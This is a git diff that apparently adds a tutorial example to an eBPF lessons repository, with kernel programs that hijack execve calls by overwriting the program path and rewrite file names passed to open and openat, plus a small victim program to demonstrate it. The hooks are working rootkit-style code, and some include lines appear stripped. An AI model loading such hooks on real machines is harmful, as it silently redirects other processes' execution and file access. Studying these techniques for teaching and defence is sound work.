diff --git a/27-replace/replace.c b/27-replace/replace.c index 943f9aa..6e0a472 100644 --- a/27-replace/replace.c +++ b/27-replace/replace.c @@ -3,8 +3,6 @@ #include #include "replace.skel.h" #include "replace.h" - - #include #include #include diff --git a/34-syscall/.gitignore b/34-syscall/.gitignore new file mode 100644 index 0000000..f9d8781 --- /dev/null +++ b/34-syscall/.gitignore @@ -0,0 +1,15 @@ +.vscode +package.json +*.o +*.skel.json +*.skel.yaml +package.yaml +ecli +bootstrap +.output +bpf-mocker +victim +victim2 +test.txt +hijacked +my_test.txt diff --git a/34-syscall/Makefile b/34-syscall/Makefile new file mode 100644 index 0000000..4da7003 --- /dev/null +++ b/34-syscall/Makefile @@ -0,0 +1,2 @@ +victim: victim.cpp + g++ victim.cpp -o victim \ No newline at end of file diff --git a/34-syscall/exechijack.bpf.c b/34-syscall/exechijack.bpf.c new file mode 100644 index 0000000..0f73e04 --- /dev/null +++ b/34-syscall/exechijack.bpf.c @@ -0,0 +1,68 @@ +// SPDX-License-Identifier: BSD-3-Clause +#include "vmlinux.h" +#include +#include +#include +#include "exechijack.h" + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; + +// Ringbuffer Map to pass messages from kernel to user +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 256 * 1024); +} rb SEC(".maps"); + +// Optional Target Parent PID +const volatile int target_ppid = 0; + +SEC("tp/syscalls/sys_enter_execve") +int handle_execve_enter(struct trace_event_raw_sys_enter *ctx) +{ + size_t pid_tgid = bpf_get_current_pid_tgid(); + // Check if we're a process of interest + if (target_ppid != 0) { + struct task_struct *task = (struct task_struct *)bpf_get_current_task(); + int ppid = BPF_CORE_READ(task, real_parent, tgid); + if (ppid != target_ppid) { + return 0; + } + } + + // Read in program from first arg of execve + char prog_name[TASK_COMM_LEN]; + char prog_name_orig[TASK_COMM_LEN]; + __builtin_memset(prog_name, '\x00', TASK_COMM_LEN); + bpf_probe_read_user(&prog_name, TASK_COMM_LEN, (void*)ctx->args[0]); + bpf_probe_read_user(&prog_name_orig, TASK_COMM_LEN, (void*)ctx->args[0]); + prog_name[TASK_COMM_LEN-1] = '\x00'; + bpf_printk("[EXECVE_HIJACK] %s\n", prog_name); + + // Program can't be less than out two-char name + if (prog_name[1] == '\x00') { + bpf_printk("[EXECVE_HIJACK] program name too small\n"); + return 0; + } + + // Attempt to overwrite with hijacked binary path + prog_name[0] = '/'; + prog_name[1] = 'a'; + for (int i = 2; i < TASK_COMM_LEN ; i++) { + prog_name[i] = '\x00'; + } + long ret = bpf_probe_write_user((void*)ctx->args[0], &prog_name, 3); + + // Send an event + struct event *e; + e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); + if (e) { + e->success = (ret == 0); + e->pid = (pid_tgid >> 32); + for (int i = 0; i < TASK_COMM_LEN; i++) { + e->comm[i] = prog_name_orig[i]; + } + bpf_ringbuf_submit(e, 0); + } + + return 0; +} \ No newline at end of file diff --git a/34-syscall/exechijack.h b/34-syscall/exechijack.h new file mode 100644 index 0000000..7dd4a44 --- /dev/null +++ b/34-syscall/exechijack.h @@ -0,0 +1,18 @@ +// SPDX-License-Identifier: BSD-3-Clause +#ifndef BAD_BPF_COMMON_H +#define BAD_BPF_COMMON_H + +// Used when replacing text +#define FILENAME_LEN_MAX 50 +#define TEXT_LEN_MAX 20 + +// Simple message structure to get events from eBPF Programs +// in the kernel to user spcae +#define TASK_COMM_LEN 16 +struct event { + int pid; + char comm[TASK_COMM_LEN]; + bool success; +}; + +#endif // BAD_BPF_COMMON_H \ No newline at end of file diff --git a/34-syscall/open_modify.bpf.c b/34-syscall/open_modify.bpf.c new file mode 100644 index 0000000..d541817 --- /dev/null +++ b/34-syscall/open_modify.bpf.c @@ -0,0 +1,112 @@ +// SPDX-License-Identifier: GPL-2.0 +// Copyright (c) 2019 Facebook +// Copyright (c) 2020 Netflix +#include +#include +#include "open_modify.h" + +const volatile bool targ_failed = false; +const volatile bool rewrite = false; +const volatile int target_pid = 0; + +struct args_t { + const char *fname; + int flags; +}; + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 10240); + __type(key, u32); + __type(value, struct args_t); +} start SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 256 * 1024); +} rb SEC(".maps"); + +SEC("tracepoint/syscalls/sys_enter_open") +int tracepoint__syscalls__sys_enter_open(struct trace_event_raw_sys_enter *ctx) +{ + u64 pid = bpf_get_current_pid_tgid() >> 32; + + /* store arg info for later lookup */ + struct args_t args = {}; + args.fname = (const char *)ctx->args[0]; + if (rewrite) { + bpf_probe_write_user((char*)ctx->args[1], "hijacked", 9); + } + args.flags = (int)ctx->args[1]; + bpf_map_update_elem(&start, &pid, &args, 0); + + return 0; +} + +SEC("tracepoint/syscalls/sys_enter_openat") +int tracepoint__syscalls__sys_enter_openat(struct trace_event_raw_sys_enter *ctx) +{ + u64 pid = bpf_get_current_pid_tgid() >> 32; + /* use kernel terminology here for tgid/pid: */ + if (target_pid && pid != target_pid) { + return 0; + } + /* store arg info for later lookup */ + // since we can manually specify the attach process in userspace, + // we don't need to check the process allowed here + + struct args_t args = {}; + args.fname = (const char *)ctx->args[1]; + args.flags = (int)ctx->args[2]; + if (rewrite) { + bpf_probe_write_user((char*)ctx->args[1], "hijacked", 9); + } + bpf_map_update_elem(&start, &pid, &args, 0); + return 0; +} + +static __always_inline int trace_exit(struct trace_event_raw_sys_exit *ctx) +{ + struct event *event; + struct args_t *ap; + int ret; + u32 pid = bpf_get_current_pid_tgid(); + + ap = bpf_map_lookup_elem(&start, &pid); + if (!ap) + return 0; /* missed entry */ + ret = ctx->ret; + + event = bpf_ringbuf_reserve(&rb, sizeof(*event), 0); + if (!event) + return 0; + + /* event data */ + event->pid = bpf_get_current_pid_tgid() >> 32; + event->uid = bpf_get_current_uid_gid(); + bpf_get_current_comm(&event->comm, sizeof(event->comm)); + bpf_probe_read_user_str(&event->fname, sizeof(event->fname), ap->fname); + event->flags = ap->flags; + event->ret = ret; + + /* emit event */ + bpf_ringbuf_submit(event, 0); + return 0; +cleanup: + bpf_map_delete_elem(&start, &pid); + return 0; +} + +SEC("tracepoint/syscalls/sys_exit_open") +int tracepoint__syscalls__sys_exit_open(struct trace_event_raw_sys_exit *ctx) +{ + return trace_exit(ctx); +} + +SEC("tracepoint/syscalls/sys_exit_openat") +int tracepoint__syscalls__sys_exit_openat(struct trace_event_raw_sys_exit *ctx) +{ + return trace_exit(ctx); +} + +char LICENSE[] SEC("license") = "GPL"; diff --git a/34-syscall/open_modify.h b/34-syscall/open_modify.h new file mode 100644 index 0000000..39fe2af --- /dev/null +++ b/34-syscall/open_modify.h @@ -0,0 +1,19 @@ +/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ +#ifndef __SYSCALL_TRACER_H +#define __SYSCALL_TRACER_H + +#define TASK_COMM_LEN 16 +#define NAME_MAX 255 +#define INVALID_UID ((uid_t)-1) + +struct event { + /* user terminology for pid: */ + pid_t pid; + uid_t uid; + int ret; + int flags; + char comm[TASK_COMM_LEN]; + char fname[NAME_MAX]; +}; + +#endif /* __SYSCALL_TRACER_H */ diff --git a/34-syscall/victim.cpp b/34-syscall/victim.cpp new file mode 100644 index 0000000..9d9f2cb --- /dev/null +++ b/34-syscall/victim.cpp @@ -0,0 +1,33 @@ +#include +#include +#include +#include +#include +#include + +int main() +{ + char filename[100] = "my_test.txt"; + // print pid + int pid = getpid(); + std::cout << "current pid: " << pid << std::endl; + system("echo \"hello\" > my_test.txt"); + system("echo \"world\" >> hijacked"); + while (true) { + std::cout << "Opening my_test.txt" << std::endl; + + int fd = open(filename, O_RDONLY); + assert(fd != -1); + + std::cout << "test.txt opened, fd=" << fd << std::endl; + usleep(1000 * 300); + // print the file content + char buf[100] = {0}; + int ret = read(fd, buf, 5); + std::cout << "read " << ret << " bytes: " << buf << std::endl; + std::cout << "Closing test.txt..." << std::endl; + close(fd); + std::cout << "test.txt closed" << std::endl; + } + return 0; +}